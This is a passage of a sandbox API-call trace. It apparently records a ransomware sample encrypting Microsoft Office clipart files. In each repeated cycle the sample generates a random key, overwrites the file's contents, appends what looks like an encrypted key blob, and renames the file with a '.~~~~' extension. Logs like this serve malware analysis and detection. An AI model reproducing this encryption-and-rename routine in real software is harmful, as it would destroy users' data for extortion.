	[0111.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e008
	[0111.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.009] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.009] GetLastError () returned 0x0
	[0111.009] GetLastError () returned 0x0
	[0111.009] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.009] GetLastError () returned 0x0
	[0111.010] GetLastError () returned 0x0
	[0111.014] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff008, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.015] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xff8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0xff8, lpOverlapped=0x0) returned 1
	[0111.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.016] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.016] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.016] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.016] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.017] CloseHandle (hObject=0x13c) returned 1
	[0111.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.017] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf.~~~~")) returned 1
	[0111.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.018] GetLastError () returned 0x0
	[0111.018] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.020] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.020] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.020] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23101033738) returned 1
	[0111.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabc95310, dwHighDateTime=0x1d60e1e)) 
	[0111.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f3a8
	[0111.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f3a8 | out: hHeap=0x300000) returned 1
	[0111.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e0a0
	[0111.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.021] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.021] GetLastError () returned 0x0
	[0111.021] GetLastError () returned 0x0
	[0111.022] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.022] GetLastError () returned 0x0
	[0111.022] GetLastError () returned 0x0
	[0111.070] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffebcc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.070] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1434, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1434, lpOverlapped=0x0) returned 1
	[0111.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.071] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.071] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.072] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.072] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.072] CloseHandle (hObject=0x13c) returned 1
	[0111.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c65b8
	[0111.095] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.~~~~")) returned 1
	[0111.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c65b8 | out: hHeap=0x300000) returned 1
	[0111.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.097] GetLastError () returned 0x0
	[0111.098] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.099] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.099] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.099] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23108956501) returned 1
	[0111.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabd539f0, dwHighDateTime=0x1d60e1e)) 
	[0111.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f568
	[0111.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f568 | out: hHeap=0x300000) returned 1
	[0111.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c65b8
	[0111.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e138
	[0111.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c65b8 | out: hHeap=0x300000) returned 1
	[0111.100] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.100] GetLastError () returned 0x0
	[0111.101] GetLastError () returned 0x0
	[0111.101] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.101] GetLastError () returned 0x0
	[0111.101] GetLastError () returned 0x0
	[0111.103] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff2c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.104] WriteFile (in: hFile=0x140, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0xd3c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x1f8fec0*=0xd3c, lpOverlapped=0x0) returned 1
	[0111.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0111.105] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.105] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.105] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.105] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.105] CloseHandle (hObject=0x140) returned 1
	[0111.105] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c65b8
	[0111.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.~~~~")) returned 1
	[0111.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c65b8 | out: hHeap=0x300000) returned 1
	[0111.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.107] GetLastError () returned 0x0
	[0111.108] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.109] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.109] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.109] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23109925510) returned 1
	[0111.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabd539f0, dwHighDateTime=0x1d60e1e)) 
	[0111.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f5a0
	[0111.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f5a0 | out: hHeap=0x300000) returned 1
	[0111.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c65b8
	[0111.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e5f8
	[0111.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c65b8 | out: hHeap=0x300000) returned 1
	[0111.110] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.110] GetLastError () returned 0x0
	[0111.110] GetLastError () returned 0x0
	[0111.110] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.110] GetLastError () returned 0x0
	[0111.111] GetLastError () returned 0x0
	[0111.133] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe8b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.133] WriteFile (in: hFile=0x140, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x1f8fec0*=0x1750, lpOverlapped=0x0) returned 1
	[0111.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0111.134] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.134] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.135] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.135] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.135] CloseHandle (hObject=0x140) returned 1
	[0111.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c65b8
	[0111.135] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.~~~~")) returned 1
	[0111.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c65b8 | out: hHeap=0x300000) returned 1
	[0111.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.136] GetLastError () returned 0x0
	[0111.137] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.138] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.138] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.138] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23112819545) returned 1
	[0111.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabd9fcb0, dwHighDateTime=0x1d60e1e)) 
	[0111.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f5d8
	[0111.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f5d8 | out: hHeap=0x300000) returned 1
	[0111.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c65b8
	[0111.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e690
	[0111.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c65b8 | out: hHeap=0x300000) returned 1
	[0111.139] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.139] GetLastError () returned 0x0
	[0111.139] GetLastError () returned 0x0
	[0111.139] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.139] GetLastError () returned 0x0
	[0111.140] GetLastError () returned 0x0
	[0111.176] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffeac0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.176] WriteFile (in: hFile=0x140, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x1540, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x1f8fec0*=0x1540, lpOverlapped=0x0) returned 1
	[0111.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0111.178] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.178] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.178] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.178] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.178] CloseHandle (hObject=0x140) returned 1
	[0111.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.179] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.~~~~")) returned 1
	[0111.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.180] GetLastError () returned 0x0
	[0111.180] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.182] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.182] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.182] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23117250233) returned 1
	[0111.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabe120d0, dwHighDateTime=0x1d60e1e)) 
	[0111.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f680
	[0111.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
